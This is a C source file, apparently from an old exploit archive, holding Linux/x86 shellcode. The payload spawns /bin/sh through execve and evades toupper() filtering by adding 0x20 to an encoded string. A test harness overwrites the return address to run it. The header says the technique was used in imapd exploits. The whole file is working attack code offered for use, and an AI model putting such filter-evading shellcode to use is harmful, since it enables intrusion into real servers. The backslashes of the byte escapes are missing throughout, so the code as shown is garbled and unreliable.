/*
 *  Linux/x86
 *
 *  toupper() evasion, standard execve() /bin/sh (used eg. in various
 *  imapd exploits). Goes through a loop adding 0x20 to the 
 *  (/bin/sh -= 0x20) string (ie. yields /bin/sh after addition).
 */
#include <stdio.h>

char c0de[] =
/* main: */
"xebx29"                            /* jmp callz                   */
/* start: */
"x5e"                                /* popl %esi                   */
"x29xc9"                            /* subl %ecx, %ecx             */
"x89xf3"                            /* movl %esi, %ebx             */
"x89x5ex08"                        /* movl %ebx, 0x08(%esi)       */
"xb1x07"                            /* movb $0x07, %cl             */
/* loopz: */
"x80x03x20"                        /* addb $0x20, (%ebx)          */
"x43"                                /* incl %ebx                   */
"xe0xfa"                            /* loopne loopz                */
"x29xc0"                            /* subl %eax, %eax             */
"x88x46x07"                        /* movb %al, 0x07(%esi)        */
"x89x46x0c"                        /* movl %eax, 0x0c(%esi)       */
"xb0x0b"                            /* movb $0x0b, %al             */
"x87xf3"                            /* xchgl %esi, %ebx            */
"x8dx4bx08"                        /* leal 0x08(%ebx), %ecx       */
"x8dx53x0c"                        /* leal 0x0c(%ebx), %edx       */
"xcdx80"                            /* int $0x80                   */
"x29xc0"                            /* subl %eax, %eax             */
"x40"                                /* incl %eax                   */
"xcdx80"                            /* int $0x80                   */
/* callz: */
"xe8xd2xffxffxff"                /* call start                  */
"x0fx42x49x4ex0fx53x48";       /* /bin/sh -= 0x20             */

main() {
        int *ret;
        ret=(int *)&ret +2;
        printf("Shellcode lenght=%dn",strlen(c0de));
        (*ret) = (int)c0de;
}

// www.Syue.com [2000-08-08]